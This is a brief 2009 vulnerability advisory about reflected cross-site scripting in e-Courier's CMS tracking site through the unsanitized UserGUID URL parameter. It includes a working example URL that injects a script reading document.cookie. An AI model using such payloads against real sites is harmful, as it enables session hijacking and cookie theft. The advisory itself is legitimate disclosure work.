e-Courier CMS Cross Site Scripting

2009-11-04T00:00:00
ID PACKETSTORM:82441
Type packetstorm
Reporter BugsNotHugs
Modified 2009-11-04T00:00:00

Description

                                        
                                            `Vendor: e-Courier (http://www.ecouriersoftware.com/)  
Product: CMS Tracking Site Issue: Cross-Site Scripting.  
Description: Nearly all pages include the URI Parameter UserGUID,  
which is not sanitized before being included in the response.  
  
Example:  
https://demo.e-courier.com/demo/home/index.asp?UserGUID="><script>alert(document.cookie)</script>  
  
--   
  
BugsNotHugs  
Shared Vulnerability Disclosure Account  
  
`